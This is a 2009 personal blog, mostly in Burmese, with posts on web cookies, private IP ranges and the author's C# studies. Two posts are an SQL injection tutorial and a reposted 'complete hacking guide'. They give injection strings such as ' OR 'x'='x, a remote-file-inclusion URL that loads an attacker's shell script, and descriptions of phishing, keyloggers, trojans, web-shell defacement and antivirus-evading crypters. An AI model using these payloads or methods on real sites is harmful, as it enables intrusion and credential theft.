Sep 29, 2009

What is Cookie ???

Cookie are one of several ways to store data about web site visitors during the time when web server and browser are not connected. Common use of cookies is to remember users between visits. Practically, cookie is a small text file sent by web server and saved by web browser on client machine.
ကြန္ျပဴတာကြတ္ကီး ဆုိတာ ကေတာ့ computer ထဲမွာ သိမ္းထားတဲ့ text file ေလးတစ္ခုပါပဲ။ သူ႔အထဲမွာ internet website တစ္ခုကုိ ၾကည့္ရႈလုိက္တဲ့သူရဲ႕ အခ်က္အလက္ေတြကုိ သိမ္းထားပါတယ္။ အဲဒီ file ကုိ website server ကေနျပီး ျပဳလုပ္တာျဖစ္ပါတယ္။ ဘာလုိ႔လဲ ဆုိေတာ့ သူ႔ website ကုိ ၾကည့္လုိက္တဲ့ user တစ္ေယာက္ခ်င္းဆီရဲ႕ data ကုိ အဲဒီ user ေတြဆီမွာပဲ သိမ္းထားတဲ့ သေဘာပါပဲ။ shopping carts တုိ႔မွာဆုိရင္ သံုးေလ့ရွိပါတယ္ ။ user ေရြးခ်ယ္ထားတဲ့ပစၥည္း အမ်ိဳးအစားကုိ အဲဒီ cookie ေတြမွာေရးမွတ္ထားျပီး user က buy ခလုတ္ကုိ ႏွိပ္လုိက္ေတာ့မွ အဲဒီ data ကုိ server ဆီကုိ ပုိ႔ေပးပါတယ္။ ေနာက္ျပီးတခါတေလ website ရဲ႕ color and font preference ကုိ ေရးမွတ္ထားေလ့ရွိပါတယ္ ။ေနာက္ တစ္ခ်ိဳ႕ forum ေတြရဲ႕ ၾကည့္ျပီးသား post ေတြကုိ မွတ္တဲ့ ေနရာမွာလည္းသံုးေလ့ရွိပါတယ္။ cookie file ေတြကုိ create လုပ္ထားတဲ့ domain website ကသာ ဖတ္ႏုိင္ပါတယ္။ ေအာက္က ဥပမာေလးကေတာ့ php programming နဲ႔ ေရးထားတာပါ။ user တစ္ေယာက္ဟာ သူ႔ website ကုိ 24 နာရီအတြင္းမွာ ဘယ္နခါ၀င္ ၾကည့္ခဲ့သလဲ ဆုိတာ ကုိ track ပါတယ္။
<?php $page_accesses = $_COOKIE['accesses'];
setcookie('accesses', ++$page_accesses, time()+86400);
?>

website visitor တစ္ေယာက္ က ဒီ cookies ရွိတဲ့ page ကုိ ၾကည့္လုိက္တုိင္းမွာ website ဟာ ဒီ visitor ရဲ႕ computer ထဲမွာ သူ႔ရဲ႕ အရင္က cookie ေလးရွိသလားကုိ အရင္ၾကည့္ပါမယ္။ မရွိခဲ့ ရင္ website ဟာသူ႔ရဲ႕ address ရယ္၊ cookie expire date ပါ၀င္တဲ့ short text file ေလးတစ္ခုကုိ create လုပ္ပါမယ္။ cookie အေဟာင္း ရွိခဲ့ တယ္ဆုိရင္ေတာ့ delete လုပ္ျပီး new cookie ကုိ new expire date နဲ႔ create လုပ္ပါမယ္။ အခု cookie ေလးကေတာ့ website ကုိ ၀င္ၾကည့္ၿပီးေနာက္ 24 hours , 86400 seconds ခံပါတယ္။ ျပီးရင္ေတာ့ delete လုပ္ခံရမွာျဖစ္ပါတယ္။
Temporary and Persistent Cookies
အေပၚက ကြတ္ကီးေလးကေတာ့ persistent cookie ပါ။ သူဟာ expire date ကုန္တဲ့အထိ ဒါမွမဟုတ္ visitor က ဖ်က္ပစ္လုိက္တဲ့အခ်ိန္အထိ ခံပါတယ္။ Session cookies or Temporary cookies ကေတာ့ browser ကုိ ပိတ္လုိက္တာနဲ႔ ေပ်ာက္သြားမွာျဖစ္ပါတယ္။ Session cookies ကုိ သံုးရတာကေတာ့ visitor ရဲ႕ လႈပ္ရွားမႈကုိ ေနာက္ေယာင္ခံဖုိ႔ နဲ႔ user information ကုိ မွတ္ထားဖုိ႔ အတြက္ျဖစ္ပါတယ္။
ကြတ္ကီးမ်ား စုပံုလာျခင္းအားျဖင့္ ကြန္ျပဴတာစြမ္းေဆာင္ရည္ က်ဆင္းလာေစျပီး security ကုိ လည္း စိုးရိမ္ရပါတယ္။

Sep 27, 2009

SQL Injection Attacks(1)

“SQL Injection” ဆုိတာကေတာ့ ပံုမွန္ user input ေတြေနရာမွာ attacker ဟာသူ႔ရဲ႕ attack SQL code ေတြကုိ အစားထုိးတည့္ျပီး database ဆီကုိ ပုိ႔လႊတ္လုိက္တာျဖစ္ပါတယ္။ အဲဒီ code ေတြကုိ SQL database မွာ အလုပ္လုပ္ေစမွာ ျဖစ္ပါတယ္။ ေအာက္ေဖာ္ျပပါ tutorial ေလးကေတာ့ အေကာင္းဆံုးမဟုတ္ေတာင္ သေဘာတရားအနည္းငယ္ကုိေတာ့ သိေစမွာပါ။ ဒါကုိသိဖုိ႔ SQL server request code အနည္းငယ္ကုိ အကၽြမ္းတ၀င္ ရွိဖုိ႔ေတာ့လုိပါလိမ့္မယ္။
The Target Intranet
အခု website တစ္ခုကုိ ဘာမွ မသိဘဲ hack ၾကည့္ပါမယ္။ ဒါကုိ blind attack လုိ႔ ေခၚပါတယ္။ အဲဒီ website ဆက္သြယ္အလုပ္လုပ္ေနတဲ့ database ကေတာ့ SQL server ျဖစ္ရပါမယ္။ server မွာ Microsoft’s IIS 6 နဲ႔ ASP.Net ေရာ Run ထားဖုိ႔လုိပါမယ္။ အခုနည္းေလးကေတာ့ SQL server ေနာက္ခံထားတဲ့ ဘယ္ website ကုိမဆုိ စမ္းသပ္ႏိုင္ပါတယ္။
ပံုမွန္ Login page တစ္ခုမွာ username နဲ႔ password ကုိ ေတာင္းခံတဲ့ form ရွိပါတယ္။ ေနာက္ျပီးေအာက္နားေလးမွာ forget password အတြက္ recovery link ေလးတစ္ခု ရွိပါတယ္။ အဲဒီကေန email address ရုိက္ထည့္လုိက္ျပီ ဆုိတာနဲ႔ website ဟာ အဲဒီ email address ကုိ SQL database မွာ သြားၾကည့္ပါမယ္။ database မွာေတြ႔ရင္ password reset request ကုိအဲဒီ mail ဆီ send မွာျဖစ္ပါတယ္။အခုကၽြန္ေတာ္တုိ႔ ဟာအဲဒီေနရာမွာ အလုပ္ လုပ္မွာ ျဖစ္ပါတယ္။ ကဲ SQL code ကုိ ဘယ္လုိ လိမ္ၾကမလဲ။

SELECT fieldlist
FROM table
WHERE field = '$EMAIL';

ဒီမွာ $EMAIL ဟာ user မွျဖည့္လုိက္တဲ့ email address ျဖစ္ပါတယ္။ ပံုမွန္အားျဖင့္ ဒီလုိပဲ ျဖစ္မွာပါ။ အဲဒီ email address ကုိ ( ‘ ) နဲ႔ပိတ္ထား ရပါမယ္။ အခုဒီမွာ email address မသိပါဘူး။ သေဘာတရားကုိ ဆက္ၾကည့္ပါမယ္။ အကယ္လုိ႔ user ကေန steve@unixwiz.net’ (မွတ္ရန္ - ( ‘ ) ပါပါမယ္ ) လုိ႔ရုိက္ထည့္လုိက္ရင္ ဘယ္လုိ္ျဖစ္သြားမလဲ။

SELECT fieldlist
FROM table
WHERE field = 'steve@unixwiz.net'';

ဒီလုိရုိက္ထည့္လုိက္ရင္ SQL parser ဟာ ( ‘ ) ႏွစ္ခုေတြ႔ျပီးေတာ့ syntax error ျပပါလိမ့္မယ္။ ဒီမွာ “email address is unknown” ဆုိတယ့္ သေဘာနဲ႔ error တက္လာမယ္ဆုိရင္ ဒီ website ဟာ user ထည့္ေပးလုိက္တဲ့ email address ကုိ SQL server request ရဲ႕ WHERE clause မွာ ျဖည့္လုိက္တယ္ဆုိတာ သိရပါမယ္။ အဲဒါဆုိရင္ေတာ့ WHERE field မွာ ပဲ အလုပ္လုပ္ရပါေတာ့မယ္။
anything’ OR ‘x’=’x လုိ႔ ျဖည့္ၾကည့္မယ္ဆုိရင္

SELECT fieldlist
FROM table
WHERE field = 'anything' OR 'x'='x';

ဒီမွာဆုိရင္ ေရွ႕ဆံုး က ( ‘ ) နဲ႔ ေနာက္ဆံုးက ( ‘ ) တုိ႔ဟာ မူရင္း clause မွာပါျပီးသားဟာ ျဖစ္တယ္ဆုိတာ သတိျပဳရပါမယ္။ အဲဒီ clause မွာ ေရွ႕က email address ကမွားေန ေပမယ့္လည္း x=x ကေတာ့ အျမဲတမ္း မွန္ေနမွာ ျဖစ္ပါတယ္။ OR ခံထားတဲ့ အတြက္ ဒီ request ဟာ အလုပ္လုပ္သြားပါျပီ။ ဒီမွာ response အေနနဲ႔ website ဟာ random user တစ္ေယာက္ကုိ ေရြးျပီး password change ႏုိင္တဲ့ request mail ကုိ ပုိ႔လုိက္ပါမယ္။ ေနာက္ျပီး website page မွာ အဲဒီ user ကုိ mail ပုိ႔ျပီးေၾကာင္း ေဖာ္ျပပါလိမ့္မယ္။

Your login information has been mailed to random.person@example.com.

ဒါဆုိရင္ attacker ဟာ ျဖည့္ရမယ့္ user name ကုိ ရရွိသြားျပီျဖစ္ပါတယ္။အဲဒီ random user ကေတာ့ website ရဲ႕ forgotten-password request mail ကုိ လက္ခံရရွိသြားပါလိမ့္မယ္။ သူ႕အတြက္ေတာ့ အံ့အားသင့္စရာ ျဖစ္သြားပါလိမ့္မယ္။ ဒါဟာ သူ႔အတြက္ သူ႔ password hack ခံရေတာ့မယ့္ warning ျဖစ္ေကာင္းျဖစ္ႏုိင္ပါတယ္။အခုကိစၥမွာ attacker ရဲ႕ various inputs မ်ားအတြက္ server မွတုန္႔ျပန္ႏုိင္ေသာ အေျခအေန ၃ ခုရွိပါတယ္။
၁။ “Your login information has been mailed to email”
၂။”We don’t recognize your email address”
၃။Server error
အေပၚက ႏွစ္ခုေသာ response ကေတာ့ well-formed SQL error ျဖစ္ျပီး server ရဲ႕ SQL structure query ကုိခန္႔မွန္းဖုိ႔ အတြက္ အသံုး၀င္ပါတယ္။ ေနာက္တစ္ခုဆုိရင္ေတာ့ bad SQL error ျဖစ္ပါတယ္။


(ဆက္ရန္)
more info (http://unixwiz.net/techtips/sql-injection.html)

A complete Hacking Guide

Introduction
ကၽြန္ေတာ္တုိ႔ Website ေတြ Forum ေတြမွာ ေတြ႕ေနရတာ လူေတြ ေမးေနၾကတာေတြထဲက အမ်ားစုကေတာ့ အီးေမးလ္တစ္ခုကုိ ဘယ္လုိ HACK မလဲ ၊ သူ႔ password ကုိ ဘယ္လုိသိေအာင္လုပ္မလဲ ၊website တစ္ခုကုိ ဘယ္လုိ attack လုပ္မလဲ ဆုိတာေတြပါ ၊ ဒီ tutorial ေလးကေတာ့ သင့္ကုိ HACK တစ္ခုရဲ႕ အေျခခံသေဘာတရားကုိ နားလည္ေအာင္ အေထာက္အကူျပဳပါလိမ့္မယ္ ၊ေနာက္ျပီး အဲလုိ attacker ေတြရဲ႕ ရန္ကေန ဘယ္လုိကာကြယ္ရမလဲ ဆုိတာေတြကုိ ရွင္းျပသြားပါမယ္ ။
Background
Hacking ဆုိတာကေတာ့ ဟုိး Window 98 စကတည္း က ေပၚေပါက္လာခဲ့တာပါ။ Hacking ဆုိတာကေတာ့ အေျခခံအားျဖင့္ ကြန္ျပဴတာစနစ္ရဲ႕ ဂယ္ေပါက္ကုိ ရွာတာ၊ ေနာက္ information အခ်က္တစ္ခုရဲ႕ အားနည္းခ်က္ကုိ ရွာတာ ျဖစ္ပါတယ္ ၊ အဲဒီကေန attacker ဟာ အဲဒီလူရဲ႕ Critical information ေတြျဖစ္တဲ့ password တုိ႔ credit card detail ေတြကုိ သိေအာင္လုပ္သြားတာပါပဲ ၊
Initialization
အရင္ဆံုး Hacking ကုိ ခ်ဳပ္ၾကည့္မယ္ဆုိရင္ အဓိက ႏွစ္ပုိင္း ရွိပါတယ္။
၁။ Email or user information
၂။Web based hacking

Email or user information
အခုေခတ္မွာ email password ,credit card information တုိ႔အတြက္ ေအာက္ပါနည္းလမ္းေတြကုိ အသံုးမ်ားပါတယ္။
၁။Phishing
၂။Brute Forcing
၃။Keylogging
၄။Trojans
Phishing(webpage အတုျဖင့္တုိက္ခုိက္ျခင္း)
Phishing ကေတာ့ အေျခခံအားျဖင့္ အမ်ားစုကုိ တုိက္ခုိက္ဖုိ႔ အတြက္သံုးပါတယ္ ။ ဒီနည္းနဲ႔ တုိက္ခုိက္ဖုိ႔ အတြက္ hacker ဟာ Yahoo တုိ႔ Gmail တုိ႔ နဲ႔ အေပၚယံ သြင္ျပင္ခ်င္း ဆင္တူတဲ့ website တစ္ခုကုိ ေရးပါတယ္ ၿပီးတဲ႔ အခါမွာ အဲဒီ အတုအေယာင္ webpage ကုိ သူတုိ႔ရဲ႕ ကုိယ္ပုိင္ server မွာတင္ပါတယ္။ ၿပီးရင္ အဲဒီ website link ကုိ user မ်ားဆီကုိ ျဖန္႔ပါတယ္ ..(Fwd mail နဲ႔ ျဖစ္ျဖစ္ forum တစ္ခုခုမွာ post တင္ျပီးျဖစ္ျဖစ္ ျဖန္႔ပါတယ္ ) user ေတြက အဲဒီ webpage ကုိ ဖြင့္လုိက္မယ္ ၊ user ေတြရဲ႕စိတ္ထဲ မွာ တကယ့္ Gmail Yahoo webpage လုိ႔ ပဲ ထင္ေနျပီးေတာ့ သူတုိ႔ရဲ႕ username နဲ႔ password ကုိ ယံုယံုၾကည္ၾကည္ရုိက္ထည့္လုိက္မယ္ ဆုိရင္ အဲဒါေတြဟာ attacker ေတြဆီကုိ ေရာက္သြားျပီ ျဖစ္ပါတယ္။ ဒီနည္းကေတာ့ hacking ေလာကကုိ ၀င္ဖုိ႔ ၾကိဳးစားေနတ့ဲ သူမ်ား အမ်ားဆံုးအသံုးျပဳၾကတဲ့နည္းျဖစ္ပါတယ္။
မေကာင္းက်ိဳးမ်ား
မေကာင္းတာတစ္ခုကေတာ့ user ဟာ အင္တာနက္အေၾကာင္းကုိ အနည္းငယ္မွ်သိ ရံုနဲဲ႔ phishing attack ကုိ ေရွာင္ႏုိင္ပါတယ္။ user ဟာ website URL address ကုိ ၾကည့္ရံုနဲ႔ ဒီ website ဟာ အစစ္ဟုတ္မဟုတ္ သိႏုိင္ပါတယ္။
Brute Forcing
Brute Forcer ကေတာ့ cracker program တစ္ခုပါပဲ ။hack ခ်င္တဲ့ username ကုိ ထည့္ၿပီး သူ႔ရဲ႕ password ကုိမွန္ေအာင္ ေဖာ္ထုတ္တဲ႔ နည္းျဖစ္ပါတယ္။ ဒီမွာ hacker ဟာသူျဖစ္ႏုိင္မယ္ထင္ရတဲ့ password မ်ားကုိ notepad မွာထည့္ၿပီး တုိက္ၾကည့္တာျဖစ္ပါတယ္။
မေကာင္းက်ိဳးမ်ား
brute attack ဟာတခါတရံမွာ အခ်ိန္ေတာ္ေတာ္ၾကာတတ္ပါတယ္။ ေအာင္ျမင္ ႏုိင္တယ္လုိ႔ ေသခ်ာေျပာလုိ႔ မရပါဘူး ။ ေနာက္ျပီး အခုေခတ္မွာ user ေတာ္ေတာ္မ်ားမ်ားဟာ alpha-numeric-symbol တြဲထားတဲ့ password ေတြကုိ သံုးလာတဲ့ အတြက္ brutefocer အတြက္ hack ဖုိ႔ရာ အေတာ္ခက္ခဲသြားပါျပီ။ လူသံုးမ်ားေသာ website မ်ားျဖစ္တဲ့ Yahoo Google စတဲ႔ website မ်ားတြင္လည္း brute attack ကုိ ကာကြယ္ဖုိ႔ login password ၃ ခါမွားလွ်င္ “image captcha” ဖမ္းေပးရတဲ့ နည္းလမ္းမ်ားကုိ သံုးလာၾကပါၿပီ။ (image captcha=check the letter in the picture and type them in text box)
Keylogging
Keylogger ဆုိတာ server တစ္ခုကုိ ဖန္တီးေပးတဲ႔ program ေလးတစ္ခုပါ။user ဟာ အဲဒီ program ေလးကုိ click လုိက္တာနဲ႔ ကိစၥျပီးသြားပါျပီ ။ဒါကေတာ့ user ေတြကုိ hack နုိင္ဖုိ႔ အျဖစ္ႏုိင္ဆံုးနည္း တစ္ခုပါပဲ။ user ေတြဟာ Keylogger ကုိ သူတုိ႔ ကုိယ္တုိင္ သူတုိ႔ ရဲ႕ computer မွာ install လုပ္ျပီဆုိတာနဲ႔ keylogger ဟာ keyboard ကေန ရုိက္သမွ် စာေတြကုိ record လုပ္ျပီး hacker ဆီကုိ တုိက္ရုိက္ပုိ႔ မွာျဖစ္ပါတယ္။ ပုိ႔တဲ့နည္းေတြကေတာ့ FTP,Email,Messenger စသည္ျဖင့္ရွိပါတယ္။ ကၽြန္ေတာ့္အတြက္ကေတာ့ ဒါဟာ user ေတြဆီကေန information ရယူဖုိ႔ အလြယ္ဆံုးလုိ႔ေျပာခ်င္ပါတယ္။ software မွန္သမွ်ကုိ ယံုၾကည္ရမွ run ဖို႔သင့္ပါတယ္။ ကုိယ့္ဆီက information hack မယ့္သူရဲ႕ hacking software ကုိ ကုိကုိယ္တုိင္ install မလုပ္မိဖုိ႔ လုိအပ္ပါတယ္။ freeware shareware ဆုိတုိင္းလဲ ယံုၾကည္ရတာမဟုတ္ပါဘူး။
မေကာင္းက်ိဳးမ်ား
အကယ္လုိ႔ user ဟာ အဲဒီ keylogger ကုိလက္ခံမိရင္ေတာင္မွ antivirus ေတြဟာ detect ျဖစ္ပါတယ္။ဒါေၾကာင့္ အဲဒါ install လုပ္ဖုိ႔ user ေတြကေန သူတုိ႔ရဲ႕ antivirus ကုိ disable လုပ္ထားရမွာျဖစ္ပါတယ္။ ေနာက္ျပီးတခါတရံ မွာ message ပုိ႔တာကုိ window firewall ရဲ႕ block ျခင္းခံရတတ္ပါတယ္။Tips: cypters လုိ႔ ေခၚတဲ့ program ေလးေတြကေတာ့ attacker ရဲ႕ server program ေလးေတြကုိ antivirus ေတြကေန detect မလုပ္ႏုိင္ေအာင္ ကာကြယ္ေပးႏုိင္ပါတယ္။
Trojans
Trojans ေတြကေတာ့ keylogger ေတြလုိပါပဲ။ Trojans ေတြဟာ keylogger ေတြလုိပဲ keyboard logs ေတြကုိ attacker ေတြဆီကုိ send ႏုိင္ပါတယ္။ ေနာက္တစ္ခုကေတာ့ Trojans ေတြဟာ attacker ေတြကုိ user ရဲ႕ ကြန္ျပဴတာကုိ ထိန္းခ်ဳပ္ႏုိင္ေအာင္ ျပဳလုပ္ေပးႏုိင္ပါတယ္။တစ္ခ်ိဳ႕ဆုိ user ရဲ႕ ကြန္ျပဴတာက CDROM ေတြကုိ ေတာင္အသြင္းအထုတ္ ျပဳလုပ္ႏုိင္ပါတယ္။
မေကာင္းက်ိဳးမ်ား
keylogger နဲ႔ အတူတူပါပဲ

WEB Hacking
WEB hacking မွာေတာ့ အမ်ားအားျဖင့္ ၄ မ်ိဳးရွိပါတယ္။
၁။SQL injection
၂။XSS
၃။Shells
၄။RFI
၅။ ေနာက္ထပ္အခ်ိဳ႕ရွိပါေသးတယ္။ဒါေပမယ့္ ရွင္းျပဖုိ႔ အလြန္မ်ားျပားပါတယ္။

SQL injection: အခုေခတ္ website အမ်ားစုဟာသူတုိ႔ဆီကုိ user တစ္ေယာက္ register လုပ္လာျပီဆုိရင္ သူတုိ႔ရဲ႕ username မ်ားနဲ႔ password မ်ားကုိ (encrypted လုပ္ျပီး ) ထိန္းသိမ္းဖုိ႔အတြက္ SQL database ကုိ အသံုးမ်ားပါတယ္။website ဟာ database ဆီကုိ user login ၀င္တုိင္းမွာ password ကုိ validate လုပ္ဖုိ႔အတြက္ request ပုိ႔ေပးရပါတယ္။ အကယ္လုိ႔ မွန္ရင္ website ဟာ user ကုိ access လုပ္ေပးျပီး မွားခဲ့ရင္ error ေပးပါမယ္။ အေျခခံကေတာ့ အဲဒီပုိ႔လုိက္တဲ့ request မွာ code ေတြကုိ ထည့္သြင္းလုိက္ျပီး database မွာရွိတဲ့ information ကုိ တျခားတေနရာသုိ႔ ပုိ႔ေပးေစျခင္းျဖစ္ပါတယ္။ အက်ယ္တ၀င့္ရွင္းျပဖုိ႔ ဒီမွာ မလြယ္ပါဘူး။ အကယ္လုိ႔ ကုိယ့္ website ကုိ hack ခံရ မခံရ ကုိ စစ္ဖုိ႔
သင့္ရဲ႕ website URL ပါ

yoursite.com/index.php?id=545

အဲဒါရဲ႕ ေနာက္ဆံုးမွာ ေအာက္ပါအတုိင္းျဖည့္လုိက္ပါ

yoursite.com/index.php?id=545’

XSS: XSS ကလည္း website မ်ားကုိ hack တဲ့ေနရာမွာ ေကာင္းတဲ့ နည္းတစ္ခုပါပဲ။ အကယ္လုိ႔ website /forum တစ္ခုဟာ html post တစ္ခုခု ကုိ တင္ခြင့္ျပဳထားမယ္ဆုိရင္ hacker ဟာ script တစ္ခုကုိ post တင္လုိက္ပါမယ္။ user တစ္ေယာက္ဟာ အဲဒီ script webpage ကုိ ဖြင့္လုိက္ရံုနဲ႔ script ဟာ user browser cookies ေတြကုိ hacker ဆီသုိ႔ ပုိ႔ေပးလုိက္မွာျဖစ္ပါတယ္။ ဒီလုိနဲ႔ hacker ဟာ အဲဒီ user နာမည္နဲ႔ login ၀င္ႏုိင္ေတာ့မွာ ျဖစ္ပါတယ္ ။
Shells: Shell ဆုိတာကေတာ့ မလုိလားအပ္တဲ့ .php script ေတြပါ။ ဒီမွာလုပ္ရမွာက အရင္ဆံုး avatars တုိ႔ recepie တုိ႔ ticks တုိ႔ feedbacks တုိ႔ ကုိ upload တင္ႏုိင္တဲ့ website/ forum တုိ႔ကုိအရင္ရွာရပါမယ္။ ျပီးရင္ အဲဒီ forum မွာ ကုိယ့္ရဲ႕ shell file ေလးကုိ အဲဒီမွာ upload လုပ္ပါမယ္။ ျပီးရင္ URL bar ကေနျပီး အဲဒီ file ေလးကုိ open လုိက္တာနဲ႔ အဲဒီ website upload လုပ္ထားတဲ့ webhosting ရဲ႕ FTP account တစ္ခုလံုးကုိ ျမင္ေတြ႕ရမွာ ျဖစ္ပါတယ္။ ဒါဆုိရင္ေတာ့ attacker ဟာ အဲဒီ website ရဲ႕ index page အပါအ၀င္ ၾကိဳက္တာကုိ edit လုပ္ခြင့္ရရွိသြားမွာ ျဖစ္ပါတယ္။ (deface လုိ႔လည္းေခၚပါတယ္)
RFI: RFI (remote file inclusion) ဒီနည္းမွာ attacker ဟာ သူ႔ရဲ႕ php script code ေတြကုိ သင့္ရဲ႕ php application ထဲကုိ ၾကိဳးစားျပီးထည့္သြင္းရပါတယ္။ attacker က ေအာင္ျမင္စြာ ထည့္သြင္းႏုိင္ျပီဆုိတာနဲ႔ attacker ဟာ user ရဲ႕ webserver ကုိ ထိန္းခ်ဳပ္ခြင့္ ရသြားမွာျဖစ္ပါတယ္။ ဒီမွာ Shell ကုိ အသံုးျပဳပါတယ္။ ဥပမာ attacker ဟာ သူ႔ရဲ႕ code ကုိ ဒီမွာ upload ထားျပီ ဆုိပါစုိ႔။

yoursite.com/shell.txt

hack ခ်င္တဲ့ webpage address မွာ

victimssite.com/index.php?page=yoursite.com/shell.txt

ဒါဆုိရင္ user ရဲ႕ website FTP server က attacker ကုိ edit လုပ္ခြင့္ေပးလုိက္ျပီျဖစ္ပါတယ္။
သင့္ webpage ကုိ အဲလုိတုိက္ခုိက္ခံရသလား စစ္ခ်င္ရင္ေတာ့
သင့္ webpage url :

yoursite.com/index.php?id=545

ေနာက္ဆံုးမွာထပ္ျဖည့္လုိက္ပါ

yoursite.com/index.php?id=http://www.google.com

အကယ္လုိ႔ google page ဟာ သင့္ webpage ထဲပါလာရင္ သင့္ website ဟာတုိက္ခုိက္ခံ ေနရျပီလုိ႔ မွတ္လုိ႔ရပါတယ္
more info
http://cyberwarez.info/forum/tutorials-manuals-tricks/545568-complete-hacking-guide.html

Sep 17, 2009

ဒီတစ္ေလာ(၅)

In these days so simply uhh.. I chat with my girl and studying .. now I got my chat application written with C# and .NET remoting .. only copy from internet :P But I tried so many time to get this program .. Program is so simply using Hash table in System.Collection to store data (that is the text user typed).. And input and output functions are declared in MarshalByObjectReference in server object ... That all! :P
I so happy to find this .. in the next Monday I will show my supervisor ..Whatever I got copy or wrote myself ,,,I got experience in .NET remoting surely

Private IP Addresses

Private IP Addresses ဆုိတာကေတာ့ အင္တာနက္ေပၚမွာ မေတြ႔ႏုိင္တဲ့ LAN ထဲ မွာသာသံုးဖုိ႔ သတ္မွတ္ထားတဲ့ IP addresses ေတြျဖစ္ပါတယ္။ Internet Assigned Numbers Authority (IANA) ကေန ေအာက္ပါ အုပ္စုသံုးခု ကုိ LAN (private network) ေတြမွာသံုးဖုိ႔ သတ္မွတ္ထားပါတယ္ ..

10.0.0.0 - 10.255.255.255
172.16.0.0 - 172.31.255.255
192.168.0.0 - 192.168.255.255 အမ်ားစုအသံုးျပဳေနပါတယ္
Also, IP addresses in the range of 169.254.0.0 -169.254.255.255 are reserved for Automatic Private IP Addressing.

Sep 5, 2009

ဒီတစ္ေလာ(၄)

ဒီေန႔ကေနစျပီး C# စာအုပ္တစ္အုပ္ကုိ ဖတ္ပါမယ္ ၂၁ ရက္ၾကာရင္ အားလံုးကုိ ျခံဳငံုမိသြားမယ္လုိ႔ေတာ့ေျပာတာပဲ စာအုပ္နာမည္ကေတာ့ Sams Teach Yourself the C# Language in 21 Days တဲ့ ..ဖတ္ႏုိင္သေလာက္ေတာ့ ဖတ္သြားရမွာပဲ ဘာမွမလုပ္တာေတာ္ေတာ္ေလးကုိ ၾကာျပီ.. ေနာက္ျပီး ဒီမွာ ပုိ႔စ္ အျဖစ္တင္ရင္ေကာင္းမလားပဲ .........
အဲ ေနာက္တစ္ခုကေတာ့ ညက C# window form app တစ္ခုေရးရင္းနဲ႔ icon ေလးေတြကုိလုပ္ခ်င္လာလုိ႔ paint ကုိ စဥ္းစားမိတယ္ ဒါေပမယ့္ ေတာ္ေတာ္ေလးကုိ အဆင္မေျပတာကုိ ေတြ႕ရပါတယ္ size 32*32 ခ်ိန္တဲ့ ေနရာမွာပါ ... အခုေတာ့ software အသစ္ေလးတစ္ခုကုိ ေတြ႕ထားပါတယ္ .. ေတာ္ေတာ္ေလးကုိသံုးလုိ႔ ေကာင္းပါတယ္ .. နာမည္ကေတာ့ IconConstructor 3.54 Portable ပါပဲ.. သူက install လုပ္စရာမလုိပါဘူး တန္းျပီးေတာ့ သံုးရုံပါပဲ။ အလင္းအေမွာင္ကုိေတာင္ ခ်ိန္လုိ႔ ရေသးတယ္ .. good .. CyberWarez ကေနပဲ ရွာျပီး ေဒါင္းလုိက္ပါတယ္ ...........
ေနာက္ $urvey ကုိလည္းလုပ္ေနပါတယ္ ..ပုိက္ပုိက္ရွာတာ ..ဒါေပမယ့္ 27 $ ရျပီးေတာ့ ဆက္ရွာလုိ႔ မရေသးဘူး :(
.......

Hiren- BootCD 10.0

ဒီေန႔ေတာ့ မေန႔ကလုပ္ထားတာနဲ႔ ဆက္လုပ္ျဖစ္ပါတယ္ .. boot CD တစ္ခုကုိေဆာင္ထားသင့္တယ္ထင္ပါတယ္ .. ဟုိတစ္ေန႔က ျမန္မာ ဆုိင္ဘာဂ်ာနယ္မွာ ဖတ္မိျပီးေတာ့ စိတ္၀င္စားသြားပါတယ္ boot CD ေတြရဲ႕ အခန္းကုိပါ .. ဟုတ္တယ္ဗ် .. ကုိယ့္ ကြန္ျပဴတာရဲ႕ မူရင္း ၀င္းဒုိးၾကီး ဗုိင္းရပ္ျဖစ္ျဖစ္ တစ္ခုခုေၾကာင့္ မတက္လာေတာ့လွ်င္ျဖင့္ စိတ္ညစ္ရပါတယ္ ..၀င္းဒိုးျပန္တင္လုိက္ေလ ဆုိေပမယ့္ My document နဲ႔ Desktop ေပၚက ဖုိင္ေတြကေတာ့ျဖင့္ စြန္႔လြတ္ရမွာျဖစ္ပါတယ္ .ဒီ CD ေလးကေတာ့ျဖင့္ boot တက္လာေအာင္ကူညီေပးပါတယ္ .. အဲဒီထဲမွာလည္း tools ေတြ အစံုအလင္ထည့္ေပးထားပါတယ္ .. ရုိးရုိးေလးေတာ့ စမ္းသပ္ျပီးပါျပီ .. ဟီး အခုေလာေလာဆယ္က ၀င္းဒုိးက အေကာင္းၾကီးဆုိေတာ့ မလုိေသးဘူးေပါ့ ..စမ္းသပ္ရတာလည္း မေကာင္းဘူးေပါ့ ..မေျပာေကာင္းမဆုိေကာင္း ၀င္းဒုိးတစ္ခုခုျဖစ္ေတာ့မွ Hiren boot CD ရဲ႕ အခန္းကုိ သိေတာ့မွာပဲ .. အခုေတာ့ CD ခုတ္ျပီးပါျပီ ..